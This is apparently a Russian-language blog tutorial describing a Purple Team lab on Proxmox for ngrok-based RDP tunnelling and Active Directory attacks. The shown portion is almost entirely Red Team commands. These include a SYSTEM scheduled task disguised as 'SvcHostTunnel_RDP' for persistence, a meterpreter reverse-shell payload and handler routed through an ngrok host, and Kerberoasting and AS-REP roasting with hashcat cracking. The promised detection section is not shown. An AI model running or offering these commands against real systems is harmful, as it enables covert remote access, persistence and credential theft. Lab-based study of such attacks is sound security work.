Добавить в корзинуПозвонить
Найти в Дзене

Ngrok RDP Tunneling: Архитектура Purple Team лаборатории, симуляция атак на Active Directory и эшелонированная защита

В первой части нашего цикла мы детально разобрали боевое применение ngrok для обхода средств защиты периметра (NGFW) и организации скрытых RDP-туннелей к скомпрометированным хостам. Мы выяснили, как легитимные утилиты ломают классические парадигмы защиты и позволяют атакующим получить интерактивный графический доступ в изолированные сегменты сети. Однако теория и разобранные кейсы мертвы без практического закрепления. Чтобы научиться выявлять (Detect) и предотвращать (Mitigate) подобные векторы атак, команде информационной безопасности (как Red, так и Blue Team) необходим контролируемый полигон — Purple Team Lab. В этом руководстве мы с нуля спроектируем виртуальную инфраструктуру, воссоздадим сценарий компрометации (Post-Exploitation), проведем эскалацию привилегий в Active Directory через проброшенный RDP-туннель и, что самое главное, внедрим технические средства обнаружения (Sysmon, Suricata) для блокировки kill chain на каждом этапе. Наша лаборатория будет базироваться на гипервизо
Оглавление
Ngrok RDP Tunneling: Архитектура Purple Team лаборатории, симуляция атак на Active Directory и эшелонированная защита
Ngrok RDP Tunneling: Архитектура Purple Team лаборатории, симуляция атак на Active Directory и эшелонированная защита

В первой части нашего цикла мы детально разобрали боевое применение ngrok для обхода средств защиты периметра (NGFW) и организации скрытых RDP-туннелей к скомпрометированным хостам. Мы выяснили, как легитимные утилиты ломают классические парадигмы защиты и позволяют атакующим получить интерактивный графический доступ в изолированные сегменты сети.

Однако теория и разобранные кейсы мертвы без практического закрепления. Чтобы научиться выявлять (Detect) и предотвращать (Mitigate) подобные векторы атак, команде информационной безопасности (как Red, так и Blue Team) необходим контролируемый полигон — Purple Team Lab.

В этом руководстве мы с нуля спроектируем виртуальную инфраструктуру, воссоздадим сценарий компрометации (Post-Exploitation), проведем эскалацию привилегий в Active Directory через проброшенный RDP-туннель и, что самое главное, внедрим технические средства обнаружения (Sysmon, Suricata) для блокировки kill chain на каждом этапе.

Этап 1: Архитектура полигона и базовая инфраструктура (Proxmox VE)

Наша лаборатория будет базироваться на гипервизоре Proxmox (Debian-based), что позволяет гибко управлять сетевыми мостами и маршрутизацией.

Топология сети:

  • Attacker / C2 (Kali Linux): Внешний узел, имитирующий инфраструктуру злоумышленника.
  • Compromised Host (Windows Server 2022): Точка первоначального проникновения (Foothold).
  • Domain Controller (Windows Server 2022): Контроллер домена lab.local, цель атаки.
  • OPNsense / Suricata (опционально): Корпоративный шлюз для анализа трафика.

Для имитации нахождения Windows-машин за корпоративным NAT (изоляция от прямых входящих подключений извне, но с доступом в интернет для работы ngrok), настроим сетевой мост с маскарадингом на хосте Proxmox.

# Конфигурация /etc/network/interfaces на сервере Proxmox
auto vmbr0
iface vmbr0 inet static
address 192.168.100.1/24
bridge-ports none
bridge-stp off
bridge-fd 0
# Включаем форвардинг пакетов
post-up echo 1 > /proc/sys/net/ipv4/ip_forward
# Настраиваем NAT (замените eno1 на ваш физический интерфейс)
post-up iptables -t nat -A POSTROUTING -s '192.168.100.0/24' -o eno1 -j MASQUERADE
post-down iptables -t nat -D POSTROUTING -s '192.168.100.0/24' -o eno1 -j MASQUERADE

После перезагрузки сети создаем виртуальные машины, подключаем их к интерфейсу vmbr0 и задаем статические IP-адреса:

  • Kali Linux (C2): 192.168.100.20
  • Windows Server (Victim): 192.168.100.10
  • Windows Server (DC): 192.168.100.11

Этап 2: Red Team Operations — Foothold, Туннелирование и Persistence

Представим, что мы уже получили начальный доступ (Initial Access) к 192.168.100.10 через уязвимость в веб-сервисе или фишинг, и у нас есть консольный доступ от имени локального администратора.

2.1. Подготовка плацдарма и запуск туннеля

Первым делом мы включаем RDP на жертве и настраиваем локальный брандмауэр.

# Активация Remote Desktop Protocol через изменение реестра
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0

# Разрешение входящих подключений RDP в брандмауэре Windows
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

# Проверка локального порта
Test-NetConnection -ComputerName localhost -Port 3389

Далее загружаем бинарный файл ngrok. Для симуляции мы скачиваем его напрямую, минуя возможные внутренние репозитории.

# Загрузка и распаковка утилиты ngrok
Invoke-WebRequest -Uri "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip" -OutFile "$env:TEMP\ngrok.zip"
Expand-Archive "$env:TEMP\ngrok.zip" -DestinationPath "C:\ngrok" -Force
Set-Location "C:\ngrok"

# Аутентификация с использованием токена атакующего
.\ngrok.exe config add-authtoken <ВАШ_ТОКЕН>

Организуем скрытое закрепление (Persistence) с помощью планировщика задач (Task Scheduler). Запуск будет производиться от имени SYSTEM при каждом старте ОС в скрытом режиме окон.

# Создание скрытой задачи для проброса порта 3389
$Action = New-ScheduledTaskAction -Execute "C:\ngrok\ngrok.exe" -Argument "tcp 3389"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "SvcHostTunnel_RDP" -Action $Action -Trigger $Trigger -User "NT AUTHORITY\SYSTEM" -RunLevel Highest -Force

# Ручной старт задачи для текущей сессии
Start-ScheduledTask -TaskName "SvcHostTunnel_RDP"

2.2. Эксплуатация туннеля со стороны C2 (Kali)

В веб-интерфейсе ngrok (или через локальный API http://localhost:4040/api/tunnels на жертве) мы видим выделенный нам эндпоинт, например: tcp://4.tcp.ngrok.io:12345.

Переключаемся на Kali Linux. Теперь нам не нужно пробивать корпоративный NAT — мы подключаемся к облаку ngrok.

# Установка клиентов для RDP-подключения
sudo apt update && sudo apt install -y remmina remmina-plugin-rdp freerdp2-x11

# Подключение к проброшенному RDP (используем xfreerdp для работы из консоли)
xfreerdp /v:4.tcp.ngrok.io:12345 /u:Administrator /p:Password123 /dynamic-resolution

Мы получили графический интерфейс скомпрометированного сервера.

2.3. Интеграция с Metasploit Framework (MITRE T1572: Protocol Tunneling)

Для автоматизации последующих атак нам нужен стабильный Reverse Shell. Мы пробросим еще один туннель для доставки нагрузки MSF.

На Windows машине через полученный RDP запускаем:

.\ngrok.exe tcp 4444

Пусть этот туннель получил адрес 8.tcp.ngrok.io:54321.

Настраиваем слушатель (Listener) на Kali Linux:

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
# Указываем LHOST как 0.0.0.0, так как мы слушаем туннель, входящий с серверов ngrok
set LHOST 0.0.0.0
set LPORT 4444
exploit -j

Генерируем payload на Kali, где целевым IP указываем облачный адрес ngrok:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=8.tcp.ngrok.io LPORT=54321 -f exe -o beacon.exe

Доставляем beacon.exe на Windows VM и запускаем. Meterpreter-сессия успешно маршрутизируется через облако ngrok прямо в нашу консоль MSF.

Этап 3: Active Directory — Эскалация привилегий и Lateral Movement

Имея foothold и RDP-туннель, мы приступаем к атакам на инфраструктуру lab.local.

3.1. Разведка и атаки на идентификацию (Identity Attacks)

Kerberoasting (T1558.003):
Цель — получить хеши билетов TGS для сервисных учетных записей (имеющих SPN). Прямо из PowerShell в RDP-сессии:

# Поиск пользователей с установленными SPN
Get-ADUser -Filter * -Properties ServicePrincipalName | Where-Object {$_.ServicePrincipalName -ne $null} | Select-Object Name, ServicePrincipalName

Собрав TGS билеты (например, с помощью Invoke-Kerberoast из PowerSploit), мы копируем хеши через буфер обмена RDP на Kali Linux и запускаем оффлайн-брутфорс:

hashcat -m 13100 kerberos_hashes.txt /usr/share/wordlists/rockyou.txt -O

AS-REP Roasting (T1558.004):
Поиск пользователей, у которых отключена предварительная аутентификация Kerberos.

# Поиск уязвимых аккаунтов (флаг DONT_REQ_PREAUTH = 4194304)
Get-ADUser -Filter 'userAccountControl -band 4194304' -Properties userAccountControl

Аналогично, запрашиваем AS-REP ответы (через Rubeus) и взламываем их на Kali (hashcat -m 18200).

Продолжение на сайте redsec.by >>>